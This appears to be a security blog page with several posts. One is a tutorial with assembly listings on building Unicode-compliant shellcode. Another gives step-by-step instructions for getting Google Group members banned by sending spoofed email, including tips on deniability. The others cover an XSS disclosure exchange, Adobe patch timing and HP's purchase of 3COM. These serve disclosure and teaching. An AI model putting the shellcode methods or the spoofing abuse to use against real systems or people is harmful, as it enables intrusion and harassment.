Full Disclosure

The need for Full, Partial, Responsible and Zero disclosure. Issues with reporting vulnerabilities to vendors.

ASCII gone bad / Zer0-overflow

This post is a followup on my previous post on KISS shellcoding and exploitation. Like before this is part of the job I do for SecuriTeam’s SSD. Those that are not aware of the project its aim is to give researchers compensation for their researcher efforts, compensation of course being money not just fame and glory )
The most common and classic shellcode char restrictions is “zero tolerance”. this can be solved in a verity of different methods. ranging from substitution to polymorphic escape decoders. Solving zero-tolerance is a very useful and thought-provoking problem, however provides a limited amount of fun:). especially once a basic set of solutions has been developed.

Let’s have a look at slightly more challenging problem – can we write shellcode that contains a null char at every other byte, and *only* every other byte, for e.g. s\x00h\x00e\x00l\x00l\x00c\x00o\x00d\x00e0

This can happen if our shellcode were to pass through a call to MultiByteToWideChar() or similar function. This is often encountered in browser bugs (especially DOM and/or scripting).

Some work has been done on this subject, namely a method was described by ngss reasercher Chris Anley. This method was coined “Venetian Blinds” or “The Venetian exploit”. The method I suggest here is similar, but slightly different in that it does not make as many assumptions and presents a more theoretical approach. This work is an original unrelated effort.

Let us get to it.

Enumerating the methods we can use to write ugly ascii-to-unicode shellcode we find many are similar to regular zero-tolerance or ascii shellcode methods.

We can decode in-place, copy, byte-substitute. These methods will become more clear as you read. In some cases it will be necessary to find eip/getPC.

This also can be done in several ways, similarly to shown in my previous post, but differently( Try encoding FSTENV with null bytes, email me if you succeed :)

It will take many pages to thoroughly cover all of these methods and so I’ll start with the simplest copy method.

Instead of just presenting the final result, I will walk through my thought process working on this. In this post I present several different trials at shellcode, some of which are not immediately useful. This will allow you to better understand the intricacies shellcode-restriction, and get a feel for the different problems I faced.

Let’s copy our code somewhere. If we were to decode in-place, we would essentially write the same code, as well as extra getPC code.

Not as easy as it sounds. let us start from building restriction-compliant basic-blocks which can br used later. These blocks shall suffice:
1) set register
2) string operation
3) branch
4) glue block

These translate to:

1) mov reg32, imm32
2) mov [reg32],imm8
inc reg32 # imm8 !=0
3) jmp/call reg32
4) a “glue block” that can be use between every two blocks, and between two compliant opcodes. This is a compliant block that starts and ends with a null byte. we’ll mark it *GB.

if we want to get a bit fancier we may need:
3) pop reg32
4) mov [reg32],imm16 # imm16 bytes not equal 0
inc reg32
inc reg32

(U) basic block number one: setting a register – attempt 1.0
the following opcode:
mov ecx, 0x11223344
decodes like this:
B9 44332211

which of course is not very helpful to us. The best we can do with our restriction and this basic opcode is:
B9 00330011 == mov ecx, 0x11003300

this is not very useful. we want to be able to put an arbitrary value into r32. let’s divide in to two parts by bytes:

two lower bytes(“3rd and 4th”):let’s start by setting the two lower bytes. this is easy

*GB ; zero-out ecx
push 0
pop ecx

mov edx,77007700 BB00770077 ; use edx as help-reg

*GB
add ch,dh – 00F5 c
mov edx,66006600 – BB00660066.

*GB
add cl,dh – 00F1

This is a good method for the lower bytes. let’s call it “set (cx, 0x1122)”.

Those readers with a keen eye may notice that assembling these opcodes may not result in compliant shellcode.

This is because different byte-sequences may represent the same opcode. x86 opcodes are built of micro-codes or U-codes(with the greek letter mewh). Every Ucode performs a very basic operation. Several of these are dubbed “opcode”. Different sequences of Ucodes may result in the same end and therefore be functionally-equivalent, usually an assembler will choose the faster one.

topmost two bytes:
in order to set the topmost byte we can:

mov ecx,66006600 – BB00660066.

In order to set the topmost byte to zero we can: zero out the whole r32, later setting byte’s 3&4 . this is done by replacing our first opcode with the sequence:
push 0 – 6A00
pop ecx – 59

onwards.

we are now able to set the 1st,3rd, and 4th bytes of a register. how will we set the second? if the value needed is very low or very high we could:
set (cx, 0xFFFF)
*GB

inc ecx – 41
*GB
set (cx, 0xFFFF)
etc.

or

set (cx, 0x0000) ; this is not trivial, but easy
*GB
DEC ecx – 41

etc.

This method is not very space-conservative. let’s try finding a better method.

And now for something completely different – let’s find a better method. This time the process will include taking a peak at the intel x86 reference manual (I used the xeon manual) in search for interesting opcode encodings.

(U) basic block number one: attempt 2.0 – setting the top two bytes.

this time, we’ll try using program memory, specifically – the stack. this may a good method because many stack operations are single-byte. this may be bad, if sp points somewhere unwritable when the shellcode is running(but can be adapted).

fun fact – sifting through the intel reference manual we can see that the set of operands al /ax /eax can provide plenty compliant opcodes which will not be compliant with other registers used. for eg:
MOV DWORD PTR DS:[EBX],110011 – C7 03 11 00 11 00
MOV DWORD PTR DS:[EAX],110011 – C7 00 11 00 11 00

now consider the following opcodes:
push 11003300 – 6800330011
*GB
push esp – 54
*GB
pop eax – 58
*GB
add dword ptr [eax], 00220044
*GB
pop ecx

now ecx == 0x11223344
this is better than we expected. we have set all four bytes.

we already know how to change the two lower-most bytes if we want to zero them out. we also know how to zero out the 2nd topmost byte,or both high bytes. if we want to get 0x00112233 we can use (i’m omitting opcode encoding from hereon):

push 11003300 ; [esp] = 11003300
*GB
push 11003300 ; [esp] = 11003300
*GB
inc esp ; [esp] = 00110033
*GB
pop ecx ; ecx = 00110033
*GB
dec esp ; [esp] = 11003300
pop eax ; to restore stack

and then set the missing low bytes. We already know a different way of doing this – look for it.

Thus we have a compact method of performing mov r32,imm32 for any value.

(U) basic block no. 2: mov [reg32],imm8, inc reg32 # imm8 !=0 – attempt 1.0

First, let’s assume we know what data is present at the copy destination address. In this case, it will be pretty easy to build this BB. We will be using an add operation. here we are adding 0x90 to a one byte at [ecx], and ecx++.

mov eax,90009000 ; ah=90
add byte ptr [ecx],ah ; [ecx] += 0x90
inc ecx

this of course will be padded with *GB whenever needed. if we don’t know what data lays at [ecx] we could try this:
push ecx
pop eax ; eax =ecx
mov byte ptr al,[eax] ; al= [ecx]

;negate eax
push 0
pop ebx
add bh,al ; bh =al == [ecx]
xor ebx, ff00ff00
push 0
pop eax;
add al,bh ; al = al ^ 0xff == [ecx]^0xff
inc al ; al++ == -(byte ptr [ecx] )

;add negated value, and wanted value
mov edx, 11001100
add al,dh
add byte ptr [ecx],al ; [ecx] = [ecx] + (-[ecx] + dh) == dh == 11
inc ecx

once again, padded with *GB. this is not very elegant or small, but seems to work nicely. let’s give it another try. this time using completely different types of opcodes:
push esp
pop edx

inc ecx
inc ecx
inc ecx
inc ecx

push ecx
pop esp

set(ebx,0x90909090)
push ebx

push edx
pop esp

this looks nicer.

(U) 3) jmp/call reg32
this is easy:
push ecx
*GB
retn

(U) 4) the star of the evening – our very own – Glue Block we could try this:
ADD BYTE PTR SS:[EBP],AL – 004500

or this – after setting the right registers.

ADD BYTE PTR DS:[EAX],CL ; (we could probably pull eax off the stack, but can’t use set(eax,0xADDR) because we can’t use this GB, which is needed to do this there are probably a few others. Using these may require us to do minor fixups. this basically sums up everything we need to build a fancy ascii-to-shellcode decoder. now that we have our 4 basic blocks we can use them to program/ like this: 2-3-4-1-1-1-2-3-4-4/ just kidding. :)

An example simple windows code that copies four nop bytes to [7FFE0300 +0x100] looks like this:
what we would really be copying is a short code to find the original shellcode, and decode it. this is pretty simple straight-forward assembly

; ecx = 7FFE0400
68 0004007F PUSH 7F000400
0045 00 ADD BYTE PTR SS:[EBP],AL
54 PUSH ESP ; GB
58 POP EAX
8100 0100FE00 ADD DWORD PTR DS:[EAX],0FE0001
59 POP ECX
0045 00 ADD BYTE PTR SS:[EBP],AL
49 DEC ECX

;al = 0x90

0045 00 ADD BYTE PTR SS:[EBP],AL
B8 00900090 MOV EAX,90009000
00E0 ADD AL,AH

;byte ptr [ecx] = 0x90
;ecx ++

0045 00 ADD BYTE PTR SS:[EBP],AL
0001 ADD BYTE PTR DS:[ECX],AL; [ecx] = 0x90
0045 00 ADD BYTE PTR SS:[EBP],AL
41 INC ECX ;ecx++

;byte ptr [ecx] = 0x90
;ecx ++

0001 ADD BYTE PTR DS:[ECX],AL [ecx] = 0x90
0045 00 ADD BYTE PTR SS:[EBP],AL
41 INC ECX

;byte ptr [ecx] = 0x90
;ecx ++

0045 00 ADD BYTE PTR SS:[EBP],AL
0001 ADD BYTE PTR DS:[ECX],AL
41 INC ECX

;byte ptr [ecx] = 0x90
;ecx ++

0045 00 ADD BYTE PTR SS:[EBP],AL
0001 ADD BYTE PTR DS:[ECX],AL
0045 00 ADD BYTE PTR SS:[EBP],AL

;jmp [ecx-4]

DEC ECX
DEC ECX
DEC ECX
DEC ECX

51 PUSH ECX
0045 00 ADD BYTE PTR SS:[EBP],AL
C3 RET

0000

Of course, all the methods I discussed here can be highly optimized(such using dword values?), and probably some other methods may be used. these are the basics :)

Also, if we want to keep a code-shellcode ratio anything close to plausible, we will have to be able to write small amount of bytes that can find the original chunk and decode it from our
destination address. this can very often be done through use of register and stack state at the time the shellocde started running. we’re in luck with this – pushad is compliant.

Google and security. Oil and Water. (Or: How to DoS google groups)

The buzz was on about google buzz sharing your list of contacts (which they then quickly fixed in their casual we-did-nothing-wrong-these-are-not-the-droids-you’re-looking-for mind trick).

Readers of this blog remember when google calendar let you see the full name behind every gmail address. At that time, google ignored, then decided there’s nothing wrong with that feature, then fixed it. Only it still works, on other google services. Of course, these aren’t the droids I’m looking for.

Well, here’s a method to DoS a google group user; it was discovered by Shachar Shemesh of lingnu about 18 months ago, who told google and was answered with a strong silence. With google the only disclosure seems to be full-disclosure, so with apologies to you google-group users out there, here is the outline of the attack below.

DoS’ing google groups
Domain-Key is a good method to prevent spam from coming in, as well as preventing unwanted emails from being handled if they are sent through “the wrong” SMTP server.

Google has taken domain-key a step further, with their Domain-Key and Google Groups combo. In this combination, if an email is sent to a Google Groups from an SMTP server who is not listed in the Domain-key record, that email will be banned from writing or accessing the Google Group in question.

The banned user will no longer be able to write or read from that group, will not be able to “undo” this change as emails to Google’s technical support regarding this appear to go unanswered.

From this background, the attack seems clear. A malicious attacker can get pretty much anyone banned from a certain Google Group.

Steps to reproduce:

  • Subscribe to a Google group.
  • Look for a victim (Anyone posting to the group from a gmail.com account is fair game).
  • Configure your email client to send emails with a “From” field that matches this email address, and use an SMTP that is not one of those authorized by the domain key. Your ISP’s SMTP servers will probably suffice.
  • Use this configurations to send an email to the group. It doesn’t really matter what the email content is, but I recommend making it look like a genuine email to make is harder to filter (and raise ‘plausible deniability’ in case someone comes asking questions).

As a result:
The victim will be automatically banned from the group.

He or She will receive no notification of that fact: not to the fact he or she was banned, and not even to the fact that the email he or she supposedly sent failed Domain key verification.

The victim will cease to receive emails from the group. They will only find out about it if they try to send an email, at which point they will receive a brief and unhelpful message saying they were banned, with no explanation why and no means to appeal.

Trying to access the group from the web site will result in a “you are banned” message, again, with no helpful information on why the ban was instated nor how to appeal. It is a curious point that even information that is publicly available without registration, such as the group’s archive or description, will be blocked. They will have to sign out of Google to be able to see it(!).

The best means to appeal she is likely to find is “Google Help”, which points to an email address where past experience shows the request email will be unceremoniously ignored, just like Shachar’s email notifying google of this vulnerability.

How not to handle a responsible XSS disclosure!

Okay, so a few days ago I found a ton of XSS vulnerabilities on various high profile web sites, and on the whole, after eventually managing to contact the relevant teams for the sites, everyone was very grateful.

When will web sites owners learn that it’s a good idea to have a security contact e-mail address on their sites!

However there was one, whose name I’m not going to mention here, that came back to me with the worst possible answer ever.

This is an online retailer, and my e-mail went to their help desk, but still!

Here’s the full e-mail trail (I’ve removed certain bits of info though so that the site or the attack vector cannot be identified.) Please also note that due the nature of what this company does they are required to be PCI DSS compliant.

===============================

—–Original Message—–
From: xyberpix [mailto:xyberpix@blahblah.com]
Sent: 05 January 2010 07:53
To: help@xxx.com
Subject: Website enquiry: General – www.xxx.com

Sent Date: 2010-01-05 07:52:58 (GMT/UTC)

Hi There,

I have discovered a security vulnerability on your web site, and would like to please disclose this to yourselves responsibly. Could you please either contact me with the name of someone who I should report this to, or could you please get someone to contact me at this e-mail address please. If this could please be treated as urgent.

Thank you
xyberpix

===================================
On 5 Jan 2010, at 16:40, XXX Support User2 wrote:

Hi Xyberpix,

Thank you for your email message.

Can I please ask you to supply the screenshot of the page so that we can look into this for you?

I look forward to your reply, upon which I will do my very best to assist you.

Kind Regards,
Alex | Customer Services Representative
Note: Please do not delete the previous correspondence if you are replying to this e-mail. This will help us to assist you better. www.xxx.com

===================================

—–Original Message—–
From: xyberpix [mailto:xyberpix@blahblah.com]
Sent: 05 January 2010 16:59
To: XXX Support User2
Subject: Re: XXX

Hi Alex,

No problem at all please find attached a screenshot.

Also the string that was used in the main search bar to prove this was the following:

‘;alert yadayadayada

Kind Regards,
xyberpix

==================================

Hi,

Thank you for contacting us and sorry for the inconvenience caused here.

May I kindly request you to clear the cache and cookies from your internet browser and then try placing your order opening a new browser.

If you have any further queries please do let us know.

Kind Regards,
Edwin | Customer Services Representative
XXX!

Note: Please do not delete the previous correspondence if you are replying to this e-mail. This will help us to assist you better.

Adobe 0-Day (CVE-2009-4324) Fix To Be Pushed 12th January 2010

Well, what more can I say really, good old Adobe have decided that it’s better to hold off on this patch, then to have people working around the clock to try and get this out asap. I suppose they also need to have some time off, after all it is close to Yule, and well they have been really good at releasing patches in a reasonable timescale this year (cough!).

This is the statement from Adobe, which can be found here.

We posted an update to Security Advisory APSA09-07 that reflects the target ship date of January 12, 2010 for the update to remediate vulnerability CVE-2009-4324. I thought folks might be interested in some of the analysis that went into developing the schedule for the fix, so let me share some of the details in this post.

We evaluated two different options for patching this vulnerability:


  1. Stop everything else and start work immediately on an out-of-cycle security update to resolve this vulnerability with a one-off fix. We made major investments as part of our security initiative earlier this year that allow us to deliver patches more quickly. We estimated that delivering an out-of-cycle update would require somewhere between two and three weeks. Unfortunately, this option would also negatively impact the timing of the next quarterly security update for Adobe Reader and Acrobat scheduled for January 12, 2010.
  2. Roll the fix for vulnerability CVE-2009-4324 into the code branch for the scheduled January 12, 2010 release. The team determined that by putting additional resources over the holidays towards the engineering and testing work required to ship a high confidence fix for this issue with low risk of introducing any new problems, they could deliver the fix as part of the quarterly update on January 12, 2010.

Two important considerations that contributed to our decision to select the second option:


  • JavaScript Blacklist mitigation – This new feature, introduced in Adobe Reader and Acrobat versions 9.2 and 8.1.7, with the quarterly update in October, allows individuals as well as administrators of large enterprise managed desktop environments to easily disable access to individual JavaScript APIs. More details on the JavaScript Blacklist mitigation are available here. The feature design and our testing for this specific vulnerability indicate the JavaScript Blacklist is an effective mitigation against the threat without breaking other workflows that rely on JavaScript or other JavaScript APIs.

  • Customer schedules – The next quarterly security update for Adobe Reader and Acrobat, scheduled for release on January 12, 2010, will address a number of security vulnerabilities that were responsibly disclosed to Adobe. We are eager to get fixes for these issues out to our users on schedule. Many organizations are in the process of preparing for the January 12, 2010 update. The delay an out-of-cycle security update would force on the regularly scheduled quarterly release represents a significant negative. Additionally, an informal poll we conducted indicated that most of the organizations we talked with were in favor of the second option to better align with their schedules.


This is just a brief description of some of the points we considered in our analysis. Ultimately, the decision came down to what we could do to best mitigate threats to our customers, a critical priority to everyone at Adobe – and one we take very seriously.”

I can really see how they are taking this one seriously, as 4 weeks to roll out a critical patch to one of the most widely used applications on the planet really isn’t that bad if you think it, as that’s got to be at least 2 people working on this one. I actually thought that Adobe had more than a couple of developers, but I guess I was wrong.

HP buys 3COM: how will that impact ZDI?

What happens if your job is to sell to customers information about embarrassing vendor vulnerabilities, and then your company gets bought by one of the vendors you are reporting about?

Going back to cheesy analogies this is the age old question, can god create a stone so heavy that he cannot lift?

The case in question is HP buying 3COM (which owns the Zero Day initiative), and as HD Moore correctly pointed out there’s bound to be some conflict there.
This will be an interesting match to watch. First, the stone is very heavy. Knowing the ZDI team (*) they have been very successful at staying independent inside the huge 3com corporate, and my money would be on them succeeding to do it again.

But when we ask if HP can lift this proverbial stone, lets remember that HP was the only large vendor to pull out the nuclear weapon of threatening to sue a security researcher for making their flaws public. Now it’s a group within their own organization, selling information about unfixed HP flaws to paying customers, and paying the same researchers HP wanted to sue 7 years ago.

(*) Full Disclosure: We run an alternative service to ZDI called SecuriTeam Secure Disclosure. That doesn’t take anything from my respect to the ZDI guys and what they’ve been doing.